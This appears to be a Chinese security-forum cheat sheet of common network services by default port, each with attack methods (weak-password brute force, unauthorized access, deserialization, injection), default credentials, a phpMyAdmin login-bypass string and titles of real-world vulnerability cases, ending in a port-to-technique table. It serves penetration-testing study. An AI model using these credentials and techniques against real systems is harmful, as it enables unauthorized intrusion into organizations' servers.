ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令
案例分享:
LDAP注入与防御剖析
欧朋LDAP服务匿名访问
使用LDAP查询快速提升域权限
远程连接服务端口渗透
 
SSH服务
 
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;对于SSH服务我们可能使用爆破攻击方式较多。
默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞
案例分享:
安宇创新科技ssh弱口令
宜信贷某站存在OpenSSL漏洞

Telnet服务
 
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;比如cisco、华三,深信服等厂商的设备;我就有很多次通过telnet弱口令控制这些设备;
默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;
案例分享:
大量惠普打印机远程telnet可被查看和操作
 
Windows远程连接
 

远程桌面连接:作为windows上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;这个时候我们一般的情况分为两种。一种是内网,需要先将目标机3389端口反弹到外网;另一种就是外网,我们可以直接访问;当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;
默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机;http://blog.163.com/rz_xiaojia/blog/static/119209198201251195340629/
 
VNC服务
 
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;也
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破:弱口令
认证口令绕过:
拒绝服务攻击:(CVE-2015-5239)
权限提升:(CVE-2013-6886)
案例分享:
广西电信客服服务器使用VNC存在弱口令可直接控制
 
Pcanywhere服务
 
PyAnywhere服务:一款远控工具,有点类似vnc的功能;这个服务在以前很多黑客发的视频里面都有,利用pcanywhere来进行提权;
默认端口:5632
攻击方式:
提权控制服务:
拒绝服务攻击:
代码执行:
案例分享:
黑龙江物价局多处安全漏洞可能导致服务器沦陷(pcAnywhere提权+密码突破)
 
Web应用服务端口渗透
 
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;
注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;
IIS服务
 
默认端口:80/81/443
攻击方式:
IIS
PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
短文件名泄漏:这种一般没啥影响
解析漏洞:详细见apache服务
案例分享:
徐州市教育系统大量IIS PUT漏洞
用友软件IIS写权限(PUT)导致可获取webshell控制服务器
国家电网某分站存在iis短文件名漏洞
 
Apache/Tomcat/Nginx/Axis2
 
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
解析漏洞:请参考
案例分享:
安卓开发平台存在上传漏洞和Apache解析漏洞,成功获取webshell
腾讯分站Apache漏洞
 
WebLogic
 
默认端口:7001
攻击方式:
爆破:弱口令4组:用户名密码均一致:system weblogic(密码可能weblogic123)portaladmin guest
Congsole后台部署webshell:
Java反序列化:
泄漏源代码/列目录:这个太老了,估计网上都没有了吧!
SSRF窥探内网:央视网SSRF可窥探内网
案列分享:
福建省人力资源和社会保障厅下属某WEBLOGIC弱口令
利用Weblogic进行入侵的一些总结
 
Jboss
 
默认端口8080;其他端口1098/1099/4444/4445/8080/8009/8083/8093
攻击方式:
爆破:弱口令(爆破jboss系统后台)
远程代码执行:http://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html
Java反序列化:
案例分享
中华人民共和国民政部JBoss配置不当
JBOSS安全问题总结
中国科学院某处jboss应用漏洞
 
Websphere
 
默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)
任意文件泄漏:(CVE-2014-0823)
Java反序列化
案例分享:
中国电信某通用型业务系统(Websphere)GetShell漏洞
大汉网络有限公司远程命令执行漏洞(WebSphere案例)
 
GlassFish
 
默认端口:http 8080;IIOP 3700;控制台4848
攻击方式:
爆破:弱口令(对于控制台)
任意文件读取:
认证绕过:
案例分享:
应用服务器glassfish存在通用任意文件读取漏洞
Oracle GlassFish Server认证绕过 http://www.tuicool.com/articles/ZRJriy
 
Jenkins
 
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)
未授权访问:
反序列化:
案例分享:
酷6Jenkins系统未授权访问可执行系统命令
 
Resin
 
默认端口:8080
攻击方式:
目录遍历
远程文件读取
案例分享:
爱奇艺Resin配置漏洞
Resin漏洞利用案例之目录遍历/以金蝶某系统为例
 
Jetty
 
默认端口:8080
攻击方式:
远程共享缓冲区溢出
 
Lotus
 
影响的都是一些大型的企业,特别需要注意,经过以前的测试发现弱口令这个问题经常都存在,可能是很多管理员不知道如何去修改(不要打我)。
默认端口:1352
攻击方式:
爆破:弱口令(admin password)控制台
信息泄露
跨站脚本攻击
案例分享:
Lotus Domino WebMail一处越权访问
中电投集团某系统弱口令直达内网涉及/OA系统/内部邮箱/财务系统/人力资源系统
中国某大型金融机构地方业务弱口令导致数万商户信息泄露&访问Lotus Domino后台
数据库服务端口渗透
 
针对所有的数据库攻击方式都存在SQL注入,这里先提出来在下面就不一一写了免得大家说我占篇幅;当然不同的数据库注入技巧可能不一样,特别是NoSQL与传统的SQL数据库不太一样。但是这不是本文需要介绍的重点,后面有时间会写一篇不同数据库的渗透技巧。
 
MySQL数据库
 
默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122 http://www.freebuf.com/vuls/3815.html
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@”密码任意
案例分享:
漏洞分享 https://www.seebug.org/appdir/MySQL
和讯网某站点存在mysql注入漏洞
MySQL提权总结 http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390
 
MSSQL数据库
 
默认端口:1433(Server数据库服务)、1434(Monitor数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
案例分享:
MSSQL注射总结
上海安脉综合管理系统mssql注射漏洞
解密MSSQL连接数据库密码
从攻击MSSQL到提权:使用msf针对mssql的一次完整渗透 http://www.freebuf.com/articles/database/22997.html
 
Oracle数据库
 
默认端口:1521(数据库端口)、1158(Oracle EMCTL端口)、8080(Oracle XDB数据库)、210(Oracle XDB FTP服务)
攻击方式:
爆破:弱口令
注入攻击;
漏洞攻击;
案例分享:
Oracle盲注结合XXE漏洞远程获取数据
 
PostgreSQL数据库
 
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括我们kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
缓冲区溢出:CVE-2014-2669
案例分享:
Hacking postgresql
关于postgresql的那些事
 
MongoDB数据库
 
MongoDB:NoSQL数据库;攻击方法与其他数据库类似;关于它的安全讲解:请在乌云镜像库搜索
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;github有攻击代码;https://github.com/yangbh/Hammer/blob/master/plugins/System/mongodb_unauth_access.py
案例分享:
MongoDB phpMoAdmin远程代码执行  http://bobao.360.cn/learning/detail/274.html
搜狐MongoDB未授权访问
新浪微米未授权访问
解决MongoDB各种隐患问题
 
Redis数据库
 
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。Exp:https://yunpan.cn/cYjzHxawFpyVt访问密码e547
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
案例分享:
中国铁建网redis+ssh-keygen免认证登录
 
SysBase数据库
 
默认端口:服务端口5000;监听端口4100;备份端口:4200
攻击方式:
爆破:弱口令
命令注入:
案例分享:
广西自考信息系统Sybase数据库注入
Sybase EAServer命令注入漏洞 http://www.venustech.com.cn/NewsInfo/124/22061.Html
 
DB2数据库
 
默认端口:5000
攻击方式:
安全限制绕过:成功后可执行未授权操作(CVE-2015-1922)
案例分享:
哈尔滨银行主站DB2注入
总结一下:对于数据库,我们得知端口很多时候可以帮助我们去渗透,比如得知mysql的数据库,我们就可以使用SQL注入进行mof、udf等方式提权;如果是mssql我们就可以使用xp_cmdshell来进行提权;如果是其它的数据库,我们也可以采用对应的方式;比如各大数据库对应它们的默认口令,版本对应的漏洞!
顺便提一下:很多时候银行企业采用的都是oracle、db2等大型数据库;
邮件服务端口渗透
 
SMTP协议
 
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!
默认端口:25(smtp)、465(smtps)
攻击方式:
爆破:弱口令
未授权访问
案例分享:
腾讯邮箱smtp注册时间限制绕过漏洞
邮件伪造详解
qq邮箱伪造发件地址,容易被钓鱼利用
众多厂商邮件系统配置不当可伪造邮件人
 
POP3协议
 
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令
未授权访问;
案例分享:
中国联通沃邮箱等部分Android客户端免密码登陆(可获取任意联通用户pop3密码)
中航信邮箱密码泄漏及VPN账号和大量邮箱弱口令导致可内网漫游拿到域控
 
IMAP协议
 
默认端口:143(imap)、993(imaps)
攻击方式:
爆破:弱口令
配置不当
案例分享:
163邮箱二次验证饶过缺陷
南方周末邮件服务器任意文件读取漏洞
网络常见协议端口渗透
 
DNS服务
 
默认端口:53
攻击方式:
区域传输漏洞

案例分享:
全球Top1000Websites中存在DNS区域传送漏洞的网站列表
团购王某站DNS域传送漏洞
DNS泛解析与内容投毒
 
DHCP服务
 
默认端口:67&68、546(DHCP Failover做双机热备的)
攻击方式:
DHCP劫持;

案例分享:
流氓DHCP服务器内网攻击测试http://www.freebuf.com/articles/network/74995.html
 
SNMP协议
 
默认端口:161
攻击方式:
爆破:弱口令
案例分享:
snmp弱口令引起的信息泄漏
基于snmp的反射攻击的理论及其实现
华为某服务器SNMP弱口令
其他端口渗透
 
Hadoop文件服务
 
默认端口:请参考 http://hsrong.iteye.com/blog/1374734
案例分享:
Apache Hadoop远程命令执行
新浪漏洞系列第六弹–大量hadoop应用对外访问
 
Zookeeper服务
 
zookeeper:分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。详情请参考百度百科
默认端口:2181
攻击方式:
未授权访问;
案例分享:
zookeeper未授权访问漏洞
网上关于这方面的案例暂时不多,但是对于大数据逐渐泛滥的今天,这些漏洞未来会在乌云上出现一大波!
 
Zabbix服务
 
zabbix:基于Web界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
远程命令执行:
案例分享:
当渗透遇到zabbix–小谈zabbix安全
Zabbix的前台SQL注射漏洞利用 https://www.secpulse.com/archives/2089.html
网易zabbix运维不当,导致任意命令执行。(可提权、可内网渗透)
 
elasticsearch服务
 
elasticsearch:请百度
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;
案例分享:
ElasticSearch远程代码执行漏洞 https://www.secpulse.com/archives/5401.html
elasticsearch漏洞利用工具 http://www.freebuf.com/sectool/38025.html
 
memcache服务
 
默认端口:11211
案例分享:
Memcache安全配置
memcache未授权访问漏洞 https://help.aliyun.com/knowledge_detail/37553.html
 
Linux R服务
 
R服务:TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。
默认端口:512(remote process execution);513(remote login a la
telnet);514(cmd)
攻击方式:
使用rlogin直接登录对方系统;
 
RMI
 
RMI:我们使用这两个端口很少的原因是因为必须是java,而且rmi穿越防火墙并不好穿越;这里我不会去涉及其他的东西,这里提出RMI只是因为在前段时间的java反序列化中,我们的小伙伴Bird写过一个weblogic利用工具,里面涉及到了RMI的一些东西,在有的时候使用socket不能成功时,我们可以使用RMI方式来进行利用;
默认端口:1090()、1099()
攻击方式:
远程命令执行(java反序列化,调用rmi方式执行命令)
这就是RMI的魅力了!
 
Rsync服务
 
Rsync:类UNIX系统下的数据备份工具(remote sync),属于增量备份;关于它的功能,大家自行百度百科吧,其实上面很多大家也看到了说是端口渗透,其实就是端口对应服务的渗透,服务一般出错就在配置或者版本问题上,rsync也不例外。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问;
本地提权:rsync默认以root运行,利用rsync上传一个文件,只要这个文件具有s权限,我们执行我们的攻击脚本就可以具有root权限。
案例分享:
搜狐几处rsync未授权访问
 
Socket代理
 
默认端口:1080
Socket代理针对代理来说没有什么漏洞,一般只是在渗透过程中作为我们的代理,进入内网,或者渗透域和林的时候有帮助。这里不做过多描述,但是可以尝试爆破一下代理的用户名和密码,万一运气好能登录,不也~~~~
案例分享:
利用php socket5代理渗透内网
 
0x02图解端口渗透
 

 
端口号    端口说明    攻击技巧
21/22/69    ftp/tftp:文件传输协议    爆破
嗅探
溢出;后门
22    ssh:远程连接    爆破
OpenSSH;28个退格
23    telnet:远程连接    爆破
嗅探
25    smtp:邮件服务    邮件伪造
53    DNS:域名系统    DNS区域传输
DNS劫持
DNS缓存投毒
DNS欺骗
深度利用:利用DNS隧道技术刺透防火墙
67/68    dhcp    劫持
欺骗
110    pop3    爆破
139    samba    爆破
未授权访问
远程代码执行
143    imap    爆破
161    snmp    爆破
389    ldap    注入攻击
未授权访问
512/513/514    linux r    直接使用rlogin
873    rsync    未授权访问
1080    socket    爆破:进行内网渗透
1352    lotus    爆破:弱口令
信息泄漏:源代码
1433    mssql    爆破:使用系统用户登录
注入攻击
1521    oracle    爆破:TNS
注入攻击
2049    nfs    配置不当
2181    zookeeper    未授权访问
3306    mysql    爆破
拒绝服务
注入
3389    rdp    爆破
Shift后门
4848    glassfish    爆破:控制台弱口令
认证绕过
5000    sybase/DB2    爆破
注入
5432    postgresql    缓冲区溢出
注入攻击
爆破:弱口令
5632    pcanywhere    拒绝服务
代码执行
5900    vnc    爆破:弱口令
认证绕过
6379    redis    未授权访问
爆破:弱口令
7001    weblogic    Java反序列化
控制台弱口令
控制台部署webshell
80/443/8080    web    常见web攻击
控制台爆破
对应服务器版本漏洞
8069    zabbix    远程命令执行
9090    websphere控制台    爆破:控制台弱口令
Java反序列
9200/9300    elasticsearch    远程代码执行
11211    memcacache    未授权访问
27017    mongodb    爆破
未授权访问


以上所有没有标注链接的案例分享请到http://wooyun.bystudent.com搜索查看,就搜案例分享的名字。楼主到目前为止也还未把案例一一看完,因为牵扯的知识量太大了,案例里面写得非常详细,在此分享给大家希望大家共同进步,secevery越来越好!